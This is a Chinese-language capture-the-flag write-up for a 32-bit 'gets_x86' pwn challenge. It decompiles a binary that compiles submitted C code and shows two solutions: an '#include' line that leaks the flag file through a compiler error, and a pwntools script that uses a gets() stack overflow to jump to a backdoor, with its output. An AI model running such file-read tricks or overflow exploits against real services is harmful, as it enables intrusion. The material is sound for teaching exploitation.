gets_x86

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+0h] [ebp-70h] BYREF
  FILE *stream; // [esp+64h] [ebp-Ch]
  int *v6; // [esp+68h] [ebp-8h]

  v6 = &argc;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  getCode(s);
  stream = fopen("/tmp/runcode.c", "w");
  fputs(s, stream);
  fclose(stream);
  if ( check(s) )
  {
    system("gcc /tmp/runcode.c -o /tmp/runcode");
    system("/tmp/runcode");
  }
  else
  {
    puts("oh no!please don't pwn me!o ne ga i!");
  }
  return 0;
}
```

先是一个getcode函数

```
char *__cdecl getCode(char *dest)
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  puts("Hello! Here is GCC Compiler! Please input code in one line! I will execute it!\n Code input:\n");
  gets(s);
  return strcpy(dest, s);
}
```

提示输入C代码

再回到main函数，发现程序会将C代码写入文件，然后对gets的内容进行check函数检查：

```
_BOOL4 __cdecl check(char *s)
{
  if ( strchr(s, '(') )
    return 0;
  if ( strchr(s, ')') )
    return 0;
  if ( strchr(s, '{') )
    return 0;
  if ( strchr(s, '}') )
    return 0;
  if ( strchr(s, '[') )
    return 0;
  return strchr(s, ']') == 0;
}
```

如果C代码内容存在(){}[]三种括号就无法运行。

也就是说最基础的int main(){}都不能写，那还能写什么?

答案#include <>

在题目提示中得到flag路径在/flag，因此只要传入#include 就可以利用报错来返回flag的内容

```
bi0x@ubuntu:~/校赛题目/pwn/gets_x86$ ./gets_x86
please input the c code,we will Compile and execute:

#include </home/bi0x/校赛题目/pwn/gets_x86/flag>
In file included from /home/bi0x/校赛题目/pwn/gets_x86/runcode.c:1:
/home/bi0x/校赛题目/pwn/gets_x86/flag:1:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token
    1 | flag{114514}
      |     ^
sh: 1: /home/bi0x/校赛题目/pwn/gets_x86/runcode: not found
```

(我在本地虚拟机调试 所以路径不一样)

另外本题有两个flag，一个flag路径给了另一个没给，所以想要另一个flag需要打穿才能拿到。

```
char *__cdecl getCode(char *dest)
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  puts("please input the c code,we will Compile and execute:\n");
  gets(s);
  return strcpy(dest, s);
}
```

看到getcode里有一个gets函数，很明显是栈溢出漏洞。

并且s到ebp的距离是0x6C，所以只要填充0x6c+4个字符，就可以覆盖返回地址。

返回地址覆盖到哪，可以看到这个函数:

```
1 int boynextbackdoor()
2 {
3   printf("nice!");
4   return system("cat /fffllaaaggggggg");
5 }
```

很明显是后门函数，只要将返回地址改到该函数的首地址就行了。

```
.text:080492B6
.text:080492B6 var_4           = dword ptr -4
.text:080492B6
.text:080492B6 ; __unwind {
.text:080492B6                 endbr32
.text:080492BA                 push    ebp
.text:080492BB                 mov     ebp, esp
.text:080492BD                 push    ebx
.text:080492BE                 sub     esp, 4
.text:080492C1                 call    __x86_get_pc_thunk_bx
.text:080492C6                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080492CC                 sub     esp, 0Ch
.text:080492CF                 lea     eax, (aNice - 804B3E0h)[ebx] ; "nice!"
.text:080492D5                 push    eax             ; format
.text:080492D6                 call    _printf
.text:080492DB                 add     esp, 10h
.text:080492DE                 sub     esp, 0Ch
.text:080492E1                 lea     eax, (aCatFfflllaaagg - 804B3E0h)[ebx] ; "cat /fffllaaaggggggg"
.text:080492E7                 push    eax             ; command
.text:080492E8                 call    _system
.text:080492ED                 add     esp, 10h
.text:080492F0                 nop
.text:080492F1                 mov     ebx, [ebp+var_4]
.text:080492F4                 leave
.text:080492F5                 retn
.text:080492F5 ; } // starts at 80492B6
.text:080492F5 boynextbackdoor endp
.text:080492F5
.text:080492F6
```

```python
#! python2
from pwn import *
io = remote('121.43.169.147',8510)

ELF("./gets_x86")
payload = 'A' * 0x6C + 'biOx' + p32(0x80492B6)
io.sendline(payload)
io.interactive()

io.interactive()
```

```
Hello! Here is GCC Compiler! Please input code in one line! I will execute it!
 Code input:

nice!I will not show U the 2nd flag!

But for pwner, flag2 is here.
flag{N1ce_th1s_1s_2nd_fl4g_f0r_st4ck_0verflow}timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
[*] Interrupted
```